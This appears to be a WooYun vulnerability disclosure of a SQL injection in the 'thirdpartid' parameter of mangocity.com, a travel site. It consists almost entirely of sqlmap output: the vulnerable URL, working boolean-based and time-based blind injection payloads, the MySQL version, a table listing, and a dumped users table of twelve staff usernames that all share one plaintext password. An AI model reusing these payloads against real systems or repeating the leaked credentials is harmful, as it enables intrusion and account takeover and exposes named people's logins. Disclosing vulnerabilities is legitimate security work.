WooYun.org

http://www.mangocity.com/index.php/freeline/productinfo_controller/journey_print?thirdpartid=222292p2
注入参数： thirdpartid
GET parameter 'thirdpartid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Parameter: thirdpartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: thirdpartid=222292p2' AND 7974=7974 AND 'sVkC'='sVkC
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: thirdpartid=222292p2' AND (SELECT * FROM (SELECT(SLEEP(5)))BnJp) AND 'rusc'='rusc
---
[12:06:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0.12

Database: vacation_init
+-----------------------------+---------+
| Table                       | Entries |
+-----------------------------+---------+
| media                       | 120239  |
| product_detail_item         | 74889   |
| product_journey             | 41386   |
| album                       | 35244   |
| product_journey_album       | 28033   |
| product_detail              | 24963   |
| keyword                     | 17194   |
| product_arrival             | 14728   |
| product_departure_month     | 12257   |
| product_departure           | 9594    |
| product_tag                 | 8797    |
| product                     | 8321    |
| product_extra               | 8321    |
| product_album               | 7211    |
| product_lineinfo            | 5202    |
| pm_tui                      | 3125    |
| pm_tui_bak20150618          | 1962    |
| temp_update_product         | 1787    |
| product_accommodation       | 1458    |
| pm_params                   | 1268    |
| terms                       | 797     |
| product_theme               | 598     |
| common_config               | 415     |
| business_module_bak20150419 | 44      |
| business_module             | 43      |
| product_scenery             | 36      |
| users                       | 12      |
| business_type               | 10      |
+-----------------------------+---------+
Table: users
[12 entries]
+--------+-------------+-----------+
| roleId | username    | password  |
+--------+-------------+-----------+
| 0      | chenhuan    | mango2015 |
| 0      | xujia       | mango2015 |
| 0      | wuhongbo    | mango2015 |
| 0      | sunbaoyu    | mango2015 |
| 0      | songwanbing | mango2015 |
| 0      | renxianglin | mango2015 |
| 0      | pengwenhui  | mango2015 |
| 0      | panwei      | mango2015 |
| 0      | liuchunyan  | mango2015 |
| 0      | cms         | mango2015 |
| 0      | chenjie     | mango2015 |
| 0      | zhanglan    | mango2015 |
+--------+-------------+-----------+